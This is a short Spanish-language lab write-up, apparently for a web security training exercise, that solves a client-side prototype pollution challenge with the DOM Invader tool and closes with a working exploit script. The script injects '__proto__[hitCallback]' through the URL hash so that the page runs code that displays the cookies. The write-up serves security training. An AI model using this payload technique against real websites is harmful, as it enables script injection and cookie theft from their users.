# Lab 5: Client-side prototype pollution in third-party libraries

Aunque técnicamente este ejercicio se puede resolver de manera manual, se recomienda utilizar DOM Invader:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FPOW02ROMLv8Te6nInHZM%2Fimage.png?alt=media&#x26;token=32da8008-9a09-4952-81b1-9d3cf18e486b" alt=""><figcaption></figcaption></figure>

Se detecta la posibilidad de realizar un ataque sobre: hash

Al realizar el escaneo, se encuentra lo siguiente:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FgVmjtUzJAdlyigixkDz5%2Fimage.png?alt=media&#x26;token=dde3604a-cae3-4396-9cfb-d1d6d87b846a" alt=""><figcaption></figcaption></figure>

Observe que DOM Invader ha accedido con éxito al receptor `setTimeout()`a través del dispositivo `hitCallback`.

Y al clickear en exploit:

<figure><img src="https://1990863415-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCohdns2VDWfowigRKoD0%2Fuploads%2FhTZxC9KZLxhPWLMiATeN%2Fimage.png?alt=media&#x26;token=8b24621c-d7e4-4e52-9d7c-80acd99aa73d" alt=""><figcaption></figcaption></figure>

Asi que teniendo en cuenta que ya tenemos el exploit funcional.

Se procede con al creacion del siguiente exploit:

```html
<script>
    location="https://0a310070045995a3844ecca90014008b.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
```

El exploit anterior genera una alerta en JS para imprimir las cookies.
